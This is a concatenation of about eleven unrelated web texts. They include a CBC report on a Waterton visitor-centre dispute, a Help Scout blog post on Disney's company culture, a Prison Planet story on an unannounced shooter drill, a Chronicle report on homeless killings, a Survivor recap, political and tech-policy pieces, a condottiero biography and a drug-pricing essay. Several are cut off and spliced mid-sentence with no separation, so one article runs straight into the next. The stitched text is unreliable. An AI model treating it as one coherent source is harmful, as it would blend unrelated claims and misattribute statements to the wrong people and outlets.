Dave Cruickshank, 75, accuses Parks Canada of running a dictatorship over its decision to locate a new visitor centre in the Waterton townsite. (Bryan Labby/CBC)
He's so angry he's threatening vigilante action.
"Vigilantism is generally breaking the law, I don't want to see this town ruined and I think that's the greater good," he said inside the dining room at one of his businesses.
It's hard to tell if he's serious, but there's no questioning his love for a community where he's spent the past 50 years running his various enterprises.
Leased land
Cruickshank says the overwhelming majority of leaseholders and business owners in Waterton are against building the visitor centre inside the townsite, but that some residents are afraid to speak out because their leases with Parks Canada are coming up for renewal.
There's only a few dozen people who are year-round residents in the town — many of whom are Parks Canada employees — but there are approximately 160 cottages in Waterton that are privately owned.
There's also a handful of business owners who own and operate the town's hotels, motels, restaurants and shops.
They've all signed land leases with Parks Canada for the privilege of owning a summer cottage or running a business in one of Alberta's five national parks.
Parks Canada plans to replace this nearly 60 year old visitor centre with a new facility within the townsite. (Bryan Labby/CBC)
The Waterton Lake Leaseholders Association claims an informal survey it did in August 2015 showed 94 per cent opposition to the townsite plan.
And while the current visitor centre is located outside the townsite, Parks Canada says it's old and too small.
It was built in 1958 and is just 56 square metres (600 square feet) — not nearly big enough to accommodate the nearly half million visitors who drop into the park every year, according to the agency.
Block 39
Parks Canada announced in March 2016 that the new facility would be located on what's known in planning documents as Block 39, after dismissing the option of building it outside of town.
Block 39 is designated as a recreational reserve that is currently home to a playground, a water spray park, tennis and basketball courts and public washrooms.
The playground was funded by locals, many of whom spend anywhere from a few weeks to a few months in the national park townsite each year.
The playground located on what's known as Block 39 was built with funds raised by local leaseholders and may be moved to make way for the new visitor centre. (Bryan Labby/CBC)
Ross Uibel owns an ice cream shop, a clothing store and a motel in the town where he lives part-time during the summer months. He wants Parks Canada to reconsider the decision to build the centre on Block 39.
'It's going to be a zoo'
Uibel says it doesn't make sense to locate a visitor centre in town — it will generate too much traffic and exacerbate parking and congestion problems.
"The location is a real, severe problem, we need to look at other options," said Uibel.
"When you go into a national park or any other place, the first place you want to go is a visitor centre, not try to find it downtown. It's going to be a zoo."
The president and vice president of the Waterton Chamber of Commerce refused to be interviewed for this story, but did release a statement.
Some business owners and leaseholders say the new visitor centre should be built here at Parks Canada's compound site, just outside the townsite. (Bryan Labby/CBC)
"The Chamber of Commerce has made its view clear to Parks Canada on our recommendation of the location of the visitor's centre," it reads.
"Our main mandate is the enhancement of the visitor experience and marketing of Waterton Lakes National Park around the world. We will work with Parks Canada on whichever site is chosen."
The chamber's vice-president, Shameer Suleman, would not tell CBC News what the organization's recommendation was regarding the new centre.
He suggested CBC contact Parks Canada for that information, but the agency said it had not received a recommendation from the group.
Cruickshank and Uibel would like to see the visitor centre located at the Parks Canada operations compound a bit further away from the townsite, just before the current centre near the entrance to the historic Prince of Wales Hotel — the location already rejected by Parks.
Natalie Bevans is with the group Save the Waterton Field. Her family owns a cottage across the street from the proposed visitor centre. (Bryan Labby/CBC)
Uibel says shuttle buses could bring visitors to that site to avoid the traffic, parking and safety issues that he says will result from the Block 39 option. He says the town is small enough that people don't need their cars.
Internal emails
Natalie Bevans' family owns a cottage across the street from the park where the new visitor centre is set to be built and speaks for the group Save the Waterton Field, which received several thousand pages of documents under Access to Information requests.
The group says the documents reveal several Parks Canada managers expressed concerns about the townsite location, but feared their opinions were being ignored.
"That information will never be considered unless there is some opportunity for the consultants to consider it," wrote C. Locke Marshall, Waterton's Visitor Experience Manager in one email.
This email, obtained by Save the Waterton Field, was written by Waterton's Visitor Experience manager. C. Locke Marshall raised concerns that his views were being ignored when Parks Canada was considering a new location for a visitor centre. (Save the Waterton Field)
Marshall was referring to a consultant who was brought in by Parks Canada "to undertake a third party review" of the two proposed locations.
In other emails, Marshall expressed concerns that traffic and parking problems associated with the townsite location could not be mitigated.
He feared people will skip visiting the centre to avoid congestion in town.
Waterton's acting asset manager raised concerns about the centre's site selection study in another email.
"There are many questionable assumptions and misrepresentations throughout this document that must be addressed," wrote Allen Nelson.
"This project is far too important to push through without proper process," he added. "Once a site is selected there must be a defensible rationale for its selection and I am afraid this document leaves us open to scrutiny."
Opponents of the project say the emails show the site selection process was flawed and even suggests the findings were manipulated to favour the townsite location. The group wants park superintendent Ifan Thomas fired.
Waterton Avenue is the main street through the Waterton Lakes National Park townsite. Opponents to the new visitor centre worry about congestion in the town. (Bryan Labby/CBC)
"We don't feel he has the confidence of the public to fulfil his duties as the superintendent in Waterton," said Bevans.
She rejects any claim that her position is founded on NIMBYism.
"This is an issue that affects every visitor to Waterton," she said. "We want to see Waterton preserved the way it is for generations to come."
Legal challenge, take two
Fraser Leishman and Gray Greenway, whose families own cottages in town, want the Federal Court to review the decision to locate the visitor centre in the townsite.
Their first attempt was dismissed earlier this year.
That initial application for a judicial review missed a 30-day deadline — it was filed seven months late — and the judge refused to extend the deadline. The decision is now being appealed.
"The applicants have not established a reasonable explanation for their delay in commencing legal proceedings," said Justice George Locke in his decision.
The leaseholders argued the deadline was missed because they were waiting for the Access to Information documents to determine whether there were grounds for legal action.
They contend the public was not properly consulted and the new location for the visitor centre contravenes the 2000 Waterton community plan.
Locke said he would have "difficulty finding merit in the applicants' argument of inadequate public consultation," but added "there is sufficient potential merit" to the argument that the decision fails to comply with the Community Plan.
Despite that, Locke cautioned: "This is not determinative."
If the appeal is lost, some leaseholders promise a legal challenge of the development permit once it's issued.
Parks Canada defends decision
Parks Canada is standing by its decision and disagrees there is any opposition to the project within the organization.
"I believe the managers, if I spoke to them, would all say they stated their concerns, they were expressed, they were discussed, they were debated and the decision when it was made is one that they are supportive of," said Pat Thomsen, executive director of Pacific and National Mountain Parks for Parks Canada.
Pat Thomsen is the executive director for pacific and national mountain national parks, with Parks Canada. She says the decision to locate the visitor centre in the Waterton townsite is final. (Bryan Labby/CBC)
Thomsen says the site selection study was just one factor in the decision-making process.
"I don't have concerns that important information was not considered, was not looked at," she said.
"I do believe we followed a proper process, I do believe the challenge is, it's not widely a popular decision for some groups and that is the nature of public decisions."
She added the decision is final and will not be re-visited, and she fully supports the work of the park's superintendent.
"I have a great deal of confidence in Mr. Thomas, the work he's done on this file and the integrity with which he operates," said Thomsen.
The community is now being consulted on three different design options, one of which would result in the removal of the spray park and playground.
Option 1 for the proposed visitor centre in the Waterton Lakes National Park townsite. (Parks Canada)
Option 2 for the proposed |
a young animator at Disney in 1931 and you didn’t own a car, there was a good chance that several nights a week Walt himself would chauffeur you and a group of your colleagues to Los Angeles for company-paid classes at the Chouinard Art Institute.
Later, Walt hired a lead teacher at Chouinard to teach at Disney Studio so employees wouldn’t even have to make the drive. To Walt, this wasn’t an expense, but an investment. He fully believed that giving the right people the right motivation was the only way to accomplish his dream: “Whatever we have accomplished is due to the combined effort. The organization must be with you, or you can’t get it done.”
Despite Walt’s penchant for process, he also recognized the importance of building a self-sufficient team. It’s no wonder that so many of Disney’s innovations have come from ground-level employees:
Walt never did build an organization in the strictest sense of that word. What he built was a loosely unified group of talented people with particular abilities who could work together in continually changing patterns. They did this with a minimum of command and a maximum of dedication. What Walt wanted was the greatest creative effort—not the most efficient operation.
It is apparent that Walt was ahead of his time. He may even have been at home with the remote work powered startups of today. It seems he favored the best output possible with the best people available; everything else was secondary.
No Team Can Operate in a Bubble
In Disneyland’s early years, when a suggestion came about to build an administration building for the management at Disneyland, Walt opposed the idea vehemently.
“I don’t want you guys sitting behind desks. I want you out in the park, watching what people are doing and finding out how you can make the place more enjoyable for them.”
Walt was not just talk. He lived by these words. Senior Vice President Tony Baxter describes how Walt would pay close attention whenever he had the opportunity to observe how children reacted to new amusements. When Baxter brought his younger sister and her friend to test a new ride, Walt was attentive and inquisitive:
The three of them rode through the attraction, and when it was over, Walt asked if they liked it enough to do it again. Yes, came the answer. Walt replied, “Then you need to sing the song this time!” and the trio—two children and the leader of a corporate empire—took a second trip.
His thinking was that nobody, not even the company executive, should operate in a bubble. This emphasis on cross-collaboration within Disney has spurred on a few innovations.
When customer researchers at Disney found that guests greatly desired more access to characters appearance—and also highlighted the difficulty of navigating the crowds that formed around the characters—cast and management were immediately informed of their grievances.
The two teams worked together to make fixes right away: characters were brought into specific areas so that they could be better managed, fixed greeting locations were selected and broadcasted throughout the park with signs and pamphlets, and the CHIP (Character Hotline and Information Program) was created, resulting in a phone number that any cast member can call to find out where certain characters are.
Even among teams, Disney encourages collaborative work. At the Disney parks, there is a bi-weekly newspaper written by and for the cast called Eyes & Ears that has a larger circulation than many actual newspapers. It highlights new things about the park so that no cast member is uninformed.
On a smaller scale, this might look like the Customer Support Bulletin Board that we’ve posted about before. You can use it even with a small team to make sure marketing, engineering, IT and ops all know about how support and customer success has been recently.
Subscribe to the Help Scout blog! Join the gang of savvy subscribers who receive original, well-researched articles about company culture, customer service, and building a better business every week.
Your Company’s Culture Is a Shared Purpose
Walt Disney’s take on defining a company culture was based entirely around creating a genuine shared purpose that people would be proud to support.
Over the years, Disney’s shared purpose has evolved into the following mantra:
“We create happiness by providing the finest in family entertainment.”
This thinking has affected many parts of Disney’s operations, according to Be Our Guest. This is actually why Walt Disney initially chose to refer to employees as “cast” members—they were always supposed to put on the best show possible for customers.
In truth, defining a shared purpose doesn’t have to be an eye-rolling affair, though some corporate cultures might make it seem so. A shared purpose for a software company like Help Scout might go beyond our intention to make useful software and instead be: “We help companies provide outstanding support for their customers.”
Our purpose is achieved not only through software, but through education, shared insights, and gathered data.
It’s also interesting to see Walt Disney outline his “vision” for Disneyland in a way a modern product manager might today. For instance, Disney established priorities that must be fulfilled in every new process or idea.
Safety Courtesy Showmanship Efficiency
This was Walt Disney’s way of pruning the myriad of ideas available. Knowing that a great product starts with saying no, this was the evaluative standard used to keep bad ideas at bay.“Unfortunately, the training exercise alarmed some at our facility…”
Mikael Thalen
Prison Planet.com
July 31, 2014
A Colorado woman has filed suit against her former employer and the Carbondale Police Department after she says she was taken hostage during an unannounced active shooter drill.
The training exercise, which occurred last October, allegedly resulted in Michelle Meeker being held at gunpoint by a police officer disguised as a mass shooter.
Meeker says she was confronted by the officer while working at the Heritage Park Care Center, an assisted living facility for senior citizens, and forced towards a vacant room. Convinced the situation was real, Meeker says she refused to enter, prompting the officer to flash a firearm on his waist.
That is when Meeker says she began begging for her life, asking the gunmen to spare her for the sake of her young child. According to reports, the officer eventually identified himself as Michael Zimmerman before admitting that the event was a training drill.
Meeker’s lawyer, Paula Gryson, says the scenario has damaged her client emotionally, physically and mentally.
“Absolutely prepare your employees, but prepare them in a responsible and respectful manner,” Gryson told News 9.
A d v e r t i s e m e n t
A spokesperson with the Heritage Park Care Center admitted to the drill after being confronted by News 9 but refused to say whether or not their employees were informed beforehand.
“Unfortunately, the training exercise alarmed some at our facility,” the spokesperson said. “We have reassured everyone that the situation was safe and controlled.”
The Carbondale police chief, who was mentioned specifically in the lawsuit, did not respond to interview requests.
“We want the full extent of the law to come down on Life Care Centers and the police department,” Gryson said.
Other unannounced shooting drills have produced similar trauma for those involved.
A group of teachers in Oregon were terrified last year when two masked men burst into a faculty meeting and opened fire. Only shortly after did the group realize that the rounds were in fact blanks.
Students and teachers at the North Lake College in Irving, Texas scrambled for cover in 2012 after police began shooting training rounds outside the school. Incredibly, even though police claimed to have sent “two warning e-mails,” faculty members say they were never informed.
This article was posted: Thursday, July 31, 2014 at 6:39 am
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Comment on this articleCold-blooded slaying of homeless pair shakes friends on street
A woman named Bonny (right) gets emotional after being told that a homeless man named Tennessee was shot to death on Sunday night, in San Francisco, Calif., on Monday, Dec. 19, 2016. NOTE NOTE NOTE **** I was told by her friend that her name was Bonny - she was emotional and ran off so I cannot confirm.... less A woman named Bonny (right) gets emotional after being told that a homeless man named Tennessee was shot to death on Sunday night, in San Francisco, Calif., on Monday, Dec. 19, 2016. NOTE NOTE NOTE **** I was... more Photo: Gabrielle Lurie, The Chronicle Buy photo Photo: Gabrielle Lurie, The Chronicle Image 1 of / 29 Caption Close Cold-blooded slaying of homeless pair shakes friends on street 1 / 29 Back to Gallery
For the second time in recent months, Sterling Gerard awoke to a shooting outside of his tent. But little could prepare the 47-year-old, who camps with his girlfriend on the streets of San Francisco, for the bloodshed he witnessed Sunday night.
Just feet away, a homeless couple were executed as they huddled in a makeshift box shelter along 16th Street near Shotwell Street in the city’s Mission District.
The San Francisco medical examiner identified one victim as Eddie Tate, 51. The woman’s identification was withheld pending notification of next of kin. People at the scene said Tate went by the nickname Tennessee. The woman, campers said, was named Lindsay, but no one seemed to know her last name.
“Two people just got murdered where I sleep,” Gerard said as the sun came up Monday over the grisly scene. “I hate it out here.”
Three months ago, Gerard said, a friend was wounded in a shooting outside his tent — one of many violent episodes he’s witnessed or been part of during his 19 years on the streets.
But for him and others in the small community of campers along 16th Street who face that perpetual brutality, Sunday night’s double slaying was especially disturbing.
“They left her and his blood all over the place,” Gerard said. “That’s really foul.”
The killings happened around 8:45 p.m., when two men in their 20s approached Tate and the woman in their shelter, officials said. Police said at least one of the men opened fire before the two ran off.
The woman stumbled for a couple steps, collapsed and died on the sidewalk. Paramedics took Tate to a hospital, where he was pronounced dead.
Neither attacker was identified or arrested in the killing. Police were working to determine a motive, but investigators don’t belive the attack was random, said Officer Giselle Talkoff, a San Francisco police spokeswoman.
“He was a good dude,” said a shaken 50-year-old David Henderson, who lives at a nearby single room occupancy hotel and cried as he looked over his dead friend’s belongings that were scattered about the bloody sidewalk.
“He always made people laugh,” he said. “Everybody loved him. He didn’t have this coming.”
Homicide inspectors shut 16th Street between Shotwell and South Van Ness while they interviewed witnesses and canvassed the area for evidence overnight Sunday.
Gerard said he waited for eight hours in the near-freezing temperatures while police worked the crime scene into Monday morning.
Investigators covered the woman’s body with a tarp while they looked through the piles of belongings and other items, before the medical examiner took the body away.
“That could have been me and my girl,” Gerard said, looking down the block where a sheet of wood was spray-painted with the word “Tennessee,” marking the site where the victims would sleep.
While double killings are rare, Sunday’s horrific slayings underscore the violence San Francisco’s homeless communities face on a near-daily basis.
“We regularly see folks sleeping on the street that get targeted,” said Kelley Cutler, a human rights organizer with the San Francisco Coalition on Homelessness. “It’s brutal. It’s really rough.”
She said she’s heard from homeless people who have been beaten, kicked and even set on fire as they slept — incidents that don’t always make news and often don’t involve police.
“Folks are definitely at risk when they are outside,” Cutler said. “Safety is a big issue. Without a door to lock, you are vulnerable and at risk.”
Less than two weeks ago, 21-year-old Lisa Williams was shot and killed near a homeless camp three blocks away from the scene of Sunday’s killings.
Police said she was shot on South Van Ness Avenue near 19th Street around 3 a.m. on Dec. 7. Investigators have not identified or arrested her killer.
In November 2014, three men kicked to death Tai Lam, a disabled, 67-year-old homeless man who weighed less than 100 pounds, in San Francisco’s Financial District. Lam slowly died in an alcove, where police found his body the next morning.
The killing, which interim Police Chief Toney Chaplin called one of the worst he’d ever seen, stuck with investigators. Some relief came last month when police arrested three suspects in the killing.
Video: Homeless beating San Francisco KPIX NDN video
As detectives worked to track down suspects in Sunday’s slayings, friends of the victims stopped by to take in the fresh crime scene.
Damon Sykes said he recently completed a drug program with Tate.
“He was inspiring me,” Sykes said. “Sometimes out here you lose yourself. He was a good friend who always tried to look out for you if he could.”
Like so many others, Sykes was confused and saddened about the killings, wondering who would target the homeless couple.
“We’re up against enough out here,” he said. “We’re trying to survive, but that’s the risk we take when we live outside. You got to do the best you can.”
Evan Sernoffsky is a San Francisco Chronicle staff writer. Email: esernoffsky@sfchronicle.com Twitter: @EvanSernoffsky15 Philippines, Episode 8 (Air Date: November 7 2012)
by Ian Walker “Dead Man Walking”
After Heroes vs. Villains, Survivor was in a bit of slump. Having experienced one of the highest highs in its history, the show struggled with how to follow up a season of that magnitude, and it showed.
The next four seasons are regarded as some of the weakest ever, afflicted with questionable twists (Medallion of Power, Redemption Island) and many castaways whose presence on the show left a lot to be desired. Then came Survivor: Philippines, which righted the Survivor ship in a much more encouraging direction.
The show took one of the trends that came out of that 21-24 stretch, throwing in a handful of returning players amongst a majority of newbies, but instead of going with familiar faces that the fanbase was tired of seeing, the show selected some more deep-cut returnees and threw them in there with an exciting group of new players. Add in the revival of the three tribe format, and the result is a truly resurgent season of Survivor. While the season had already been pretty good at this point, this episode kicked it up into its highest, craziest gear.
It all starts with Jonathan Penner, who was in a position he knew all too well: on the bottom without a whole lot of friends. Having been saved by his hidden immunity idol at the previous tribal council, Jonathan was the “dead man walking” of the episode’s title. He knew that his only real shot at surviving the vote was winning immunity, something he had never done in his career as a three-time player. That didn’t stop his confidence, however, as he walked around camp, calling his shot as the winner before the challenge with his signature Jonathan Penner charm. All of the other players in the game ignored his boastfulness and focused on delivering the final punch to send Penner out of the game.
Then Penner won immunity, and all hell broke loose.
What followed after Penner’s immunity victory was one of the most electric, and head-spinning sequences of pre-vote scrambling of any episode ever. Penner was the locked boot of the episode, and him becoming untouchable for the vote sent all of the other nine players posturing for their position. What was remarkable was how many times the target changed in the span of six or seven minutes of showtime, as a new voting majority was seemingly formed with every new conversation.
At first, it seemed like the crosshairs were on the only other returning player in the game, Mike Skupin. However, sweet, unassuming Lisa Whelchel had other plans. Viewing Skupin as one of her closest allies, Lisa tried to shift the target onto Malcolm Freberg. She had innocently discovered Malcolm’s hidden idol in the previous episode, but now, armed with that knowledge, she saw Malcolm as the biggest threat in the game.
So Lisa went to Pete Yurkowski with this intel, and this is where things started to go into hyper speed. Pete then decided to confront his best buddy Malcolm to get to the bottom of this idol matter. Malcolm, consumed by nervous energy, vigorously denied ownership of said idol and reaffirmed their bromance, which apparently was good enough for Pete. Struck with panic by the fact that Lisa was gunning for him, Malcolm quickly locked down a plan to vote out Jeff Kent, somebody not a part of the Tandang alliance he had been rolling with the last couple of votes.
Except that Jeff overheard the scheming going on against him, which prompted him to go on the offensive. He quickly pulled together a majority of his own, consisting of himself and his best friend Carter Williams, Malcolm and his closest ally Denise Stapley, Penner, and Skupin, with the intention of taking out Pete (despite what Carter thought). Malcolm, caught in the middle of both sides, decided to seize the opportunity to strike at Tandang and sided with Jeff and his group. Grabbing his idol before heading to tribal, he told us, “this has been the most crazy, last-minute thing I’ve ever been a part of in my life.” Perfectly describing all of the break-neck strategizing that just went down.
All of the action continued that night at tribal council. First, Lisa admitted to playing both sides, expressing her desire to keep her original Tandang alliance strong and to get out a big threat like Malcolm. Malcolm then flashed his idol to the entire tribe, threatening to pull the trigger if anybody even attempted to make a move on him. Abi-Maria Gomes, who had somehow stayed out of all of the game talk during the afternoon, was coaxed into revealing her idol for inexplicably no reason. Jeff Kent declared how much fun he was having, as Jeff Probst looked on with awe at how fast the game was being played right at tribal council.
Right before the vote, Penner attempted to corral the votes one last time, making sure everybody was one the same page. But apparently, Penner himself didn’t get the right memo. He cast his vote for Abi, while Jeff, Carter, Denise and Malcolm vote for Pete, thus giving the other five players, all original Tandang, the majority to send Jeff home. Jeff Kent may have walked out of the game feeling pissed off (his famous final words are proof of that) but the viewers were left feeling elated, having just watched one of the most thrilling episodes of the modern Survivor era, and that’s something Obama can’t take away.
PreviousNextSen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) on Tuesday blasted President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's selection of Rep. Tom Price (R-Ga.) as the next Health and Human Services secretary.
While Sanders reiterated his support for some of Trump's economic policies, he criticized the president-elect's HHS selection, saying it runs counter to his campaign promises.
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"Donald Trump asked workers and seniors to vote for him because he was the only Republican candidate who would not cut Social Security, Medicare and Medicaid — programs that are of life-and-death importance for millions of Americans," Sanders said in his statement."Now, he has nominated a person for secretary of Health and Human Services, Rep. Tom Price, who has a long history of wanting to do exactly the opposite of what Trump campaigned on," Sanders added.The Vermont lawmaker outlined Price's positions and said Trump should publicly admit that his promises "were just lies.""Rep. Price has a long history of wanting to cut Social Security, Medicare and Medicaid. What hypocrisy! Mr. Trump needs to tell the American people that what he said during the campaign were just lies, or else appoint an HHS secretary who will protect these programs and do what Trump said he would do," he said.Trump announced his HHS selection on Tuesday, praising Price as being "exceptionally qualified" to spearhead a campaign to repeal and replace ObamaCare.“Chairman Price, a renowned physician, has earned a reputation for being a tireless problem solver and the go-to expert on healthcare policy, making him the ideal choice to serve in this capacity,” Trump said in a statement.“He is exceptionally qualified to shepherd our commitment to repeal and replace Obamacare and bring affordable and accessible healthcare to every American. I am proud to nominate him as Secretary of Health and Human Services,” Trump added.Human rights and privacy activists have flagged an ostensibly sneaky move by a handful of influential British peers, who have tried to revive a much-derided surveillance bill, known amongst its many critics as Snooper’s Charter. Instead of proposing it as a full bill, as the UK government attempted to do in 2012, on a conspicuously quiet late Thursday afternoon four Lords have bundled the surveillance measures into the Counter Terrorism and Security Bill as an 18-clause amendment.
According to Mike Harris, from the Don’t Spy On Us campaign group, the Lords have actually made the original bill tougher, by not mentioning many useful safeguards. As it stands, the proposed amendments would allow the home secretary, Theresa May, to force internet service providers to hold onto communications data for 12 months. That information would be accessible to any “relevant public authorities”, which could even allow local councils to grab data on citizens. The only barrier the secretary of state has to overcome is in consulting Ofcom, the communications regulator.
At the minute it's not entirely clear how much access the government would have to social network or email data. Harris believes that the access to ISPs would be enough for the current regime to get what they want.
What worries Harris most is the lack of oversight stopping government officers grabbing people's information. A “designated senior officer” from law enforcement or other local authorities will be given power to decide what data they can get at, again hinting of little oversight. It would at least appear the Lords have stopped short of asking for access to the actual content of citizens’ information, as Prime Minister David Cameron has sought, as “communications data” is defined in the amendments as “traffic data, use data or subscriber data”, though again their is room for broad application.
It would appear the atrocities in Paris this month have spurred on politicians in their bids to expand Britain’s surveillance state. A joint committee had already decided the original Snooper’s Charter, introduced as the Communications Data Bill, was too broad and unjustified. As pointed out today by the Open Rights Group, the committee determined “the draft Bill pays insufficient attention to the duty to respect the right to privacy, and goes much further than it need or should for the purpose of providing necessary and justifiable official access to communications data.”
The proposals are now to be debated in the House of Lords on Monday. Members of the House have been urged to attend, as privacy advocates fear the government will sneak laws through ahead of the general election in May.
If the amendments pass, they will be handed to the House of Commons. If they get through that House, it’ll likely bring about the establishment of Snooper’s Charter, though not without a fight from privacy activists.Anal heroes honoured
Source: Hueiyen News Service
Chandel, January 12 2014 : The Anal Phetha Ni Alum-2014, a festival honouring the legendary heroes of Anal Tribe was held at Anallon Christian Institute Lambung, Chandel today.
Organised by Anal Naga Tangpi (ANTA) under the theme of 'Commitment and Responsibilities', the event began with presentation of an anthem, 'Napam Nadu Kankhupam" by Panchai Women Fellowship and it was followed by unfurling of the ANTA National Flag and unveiling of monument erected to mark the occasion by MLA of 41-Chandel A/C St Nunghlung Victor, who was the Chief Guest.
CO of 8th MR Leikun TK Anal, IPS, was also present as Guest of Honour of the function.
Apart from the dignitaries on the dais, many important speakers including President of ANTA Kohring Victor, Ps Bemung, KL Hringkham MCS and St Ruth of Anal Sinnu Ruwl also highlighted the importance of the festival.
The event was also attended by Chairman of Area Chief Association, Pastors and other distinguished guests and invitees.
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Congressional Democrats could not find the votes to pass “net neutrality.” No problem. Three un-elected officials will impose rules on hundreds of millions of satisfied online consumers. A federal appeals court stops the FCC from employing authority over the Internet. Again, not a problem. Three out of five FCC commissioners can carve out some temporary wiggle room, because as any crusading technocrat knows, the most important thing is getting in the door.
It’s not that we don’t need the FCC’s meddling, it’s that we don’t need the FCC at all. Rather than expanding the powers — which always seem to grow — of this outdated bureaucracy, Congress should be finding ways to eliminate it.
Why would we want a prehistoric bureaucracy overseeing one of the century’s great innovations? As a bottom-up, unregulated and under- taxed market in which technological innovation, free speech and competition thrive — at affordable prices, no less — the Internet poses a crisis of ideology, not commerce, for the FCC. It’s about control and relevance. What else can explain the proactive rescue of the Web from capitalistic abuses that reside exclusively in the imagination of a handful of progressive ideologues?
What is the FCC doing? It’s complicated and in some ways irrelevant. It claims that regulatory power will ensure that consumers enjoy an “open Internet” (with more broadband providers than ever, is there anything more open than the Internet?). But the FCC can also censor speech. And once the FCC can regulate Internet service providers, those providers will be more compliant and more interested in making censors happy.
The FCC also can hand out favors and hurt competition. And as Lawrence Lessig, a professor at Harvard Law School, wrote in 2008, “Economic growth requires innovation. Trouble is, Washington is practically designed to resist it. Built into the DNA of the most important agencies created to protect innovation is an almost irresistible urge to protect the powerful instead.”
Even as Chairman Julius Genachowski claims that he will employ a “light touch,” the FCC leaves open the possibility that it will use the Title II docket to classify broadband as a public utility — and, as you know, nothing says progress and modernization like “utility.”
The same organization that forced all consumers to buy Ma Bell-made telephones for decades, the same FCC that enforced speech codes via radio “fairness doctrines,” the same FCC which took two decades after its invention to OK cellular technology for the marketplace and acted similarly sluggish with cable and satellite innovation has no business online.
It is likely that a new Congress — or perhaps the courts — will undo this regulatory power play. And though “net neutrality” or “open Internet” (no one need to worry, Doublespeak is flourishing) may not survive, it reminds us that the FCC’s institutional positions conflict with the vibrancy and freedom of the Internet. Positions that are as archaic as they are detrimental.
E-mail David Harsanyi at dharsanyi@denverpost.com and follow him on Twitter here.Bartolomeo d'Alviano (1455 – October 1515) was an Italian condottiero and captain who distinguished himself in the defence of the Venetian Republic against the Holy Roman Emperor Maximilian.
Biography [ edit ]
Born in 1455 in a noble family in Umbria at Todi,[1][2] the son of Francesco d'Alviano and Isabella degli Atti,[3] Bartolomeo fought very early in his life in Central Italy, serving in the Papal States and, in 1496, the Orsini family against Pope Alexander VI and the Colonna.
In 1503, hired by Ferdinand II of Spain, he was determinant in the victory at the Battle of Garigliano over the French army, which started the Spanish domination over southern Italy. At the beginning of 1505 he was employed by the Venetians and was granted a cavalry captaincy by the Senate with an annual pay of 150 gold pounds.[4] In 1507, together with Nicolò Orsini, Bartolomeo was hired by the Republic of Venice. The following year he defeated the Imperial Army of Maximilian I, Holy Roman Emperor in Cadore, at Mauria and Pontebba, conquering Gorizia and Trieste. In the same year Pordenone also fell and the Serenissima assigned its signory to d'Alviano himself (the town will be ruled by d'Alviano family until 1539).
In 1509 (the year he began the construction of new city walls at Padua), however, he was crushingly defeated at the Battle of Agnadello, being also wounded in the fray. D'Alviano was charged of the result, as he allegedly attacked the enemy without the authorisation of Orsini, then commander-in-chief. Captured by the French, he remained a prisoner until 1513. In 1513, after the alliance between France and Venice against the Duchy of Milan, he was freed, and later fought under the French commander Louis de la Trémoille. He was defeated at the Battle of Vicenza by the Spanish Viceroy of Naples Ramón de Cardona.
Later d'Alviano again conquered, and sacked, Pordenone, which in the meantime had fallen again to the House of Habsburg. He was subsequently a protagonist of the French victory at Marignano (September 1515), in which he attacked the Swiss mercenaries with a corps of only 300 knights. Later he managed to conquer also Bergamo,[5] but died in October of the same year during the siege of Brescia.[6]
He was buried in the church of Santo Stefano in Venice.[7]
Personal life [ edit ]
In 1497 he married Bartolomea Orsini,[8] and then he married Pantasilea Baglioni.[9]
In fiction [ edit ]
A fictional version of Bartolomeo d'Alviano appears in the video games Assassin's Creed II, Assassin's Creed: Project Legacy and Assassin's Creed: Brotherhood as a member of the Order of Assassins.[10]
References [ edit ]
Bibliography [ edit ]This is the first in a series of articles that aim to define the biopharmaceutical industry’s social contract with America, to examine practices that deviate from that contract, and to propose refinements to healthcare policy to ensure that our continued investment in scientific progress ultimately yields affordable, effective therapeutics for future generations.
The public has long voiced outrage at pharmaceutical companies over high drug prices. Many patients feel the real pain of rising healthcare costs and frequently call for price controls on prescription drugs. But price controls are not the solution. In fact, high prescription drug prices aren’t even the problem.
Miscast as a bloated expenditure, high prices on branded drugs incentivize and attract society’s talent and capital to the biopharmaceutical industry to fund and research new cures and treatments that will eventually become inexpensive generic drugs. These resulting generics are one of humanity’s most valuable and underappreciated resources.
High branded drug prices are necessary to grow this mountain of inexpensive generic drugs. At the same time, we can’t allow anyone’s child or aging parents to be denied the medication they need on account of cost. The reason why new drugs seem unaffordable lies not with branded drug prices but with the intentionally poor design and distribution of healthcare insurance in our country. Branded drugs can be made more affordable — without imperiling biopharmaceutical innovation — by ensuring that insurance properly covers patients, sparing them the euphemism of cost sharing (e.g., co-pays and deductibles).
Besides shielding patients from drug costs and improving immediate health outcomes, this proposal will drive the scientific innovation needed to build a legacy of inexpensive treatments for future generations. Alongside other grand objectives like universal access to clean water and energy efficiency, building this mountain of useful generic drugs as rapidly as possible should be a national and global priority, one that America has led and should continue to lead. If we stall this engine of progress through price controls or other blunt measures meant to ease costs today, we condemn the future to be no better than the present. In turn, the biopharmaceutical industry should do its part to ensure all branded drugs are eventually and adequately genericized.
An underappreciated resource
While high-priced branded drugs make up only 11% of all prescriptions¹, they are the source of most pharmaceutical revenue ($237 billion in 2015²). Typically after 10–15 years, branded drugs lose their patent protection, unleashing low-cost generic versions³ (in 2015 the US spent a comparatively modest $88 billion on generics, though these drugs make up 89% of all prescriptions⁴). Unlike almost any other aspect of healthcare, drugs constantly go generic, which keeps total spending on retail drugs around a mere 12% of total healthcare costs, about the same as it was in 1972.⁵ And even though drug spending remains the same percent of overall healthcare spending, we now have far more and better treatments.⁶
Each year, the biopharmaceutical industry produces new drugs that raise our collective health, give hope to patients suffering from debilitating diseases, and further our understanding of human biology. Because the underlying biological processes inside our cells and bodies are essentially unchanging, the drugs we use today will work just as well in a hundred years, with few exceptions (e.g., antibiotics become obsolete and require replacement as bacteria evolve to become resistant). Many drugs may even work better with improved diagnostics, delivery technologies, and insight into how to best combine therapies. Therefore, much of the scientific progress we achieve in our lifetime will also accrue to the benefit of future generations.
Generics, which the FDA ensures work just as well and meet the same safety standards as original branded drugs, offer huge cost savings within months of coming to market and, with few exceptions, remain inexpensive for the rest of time.⁷
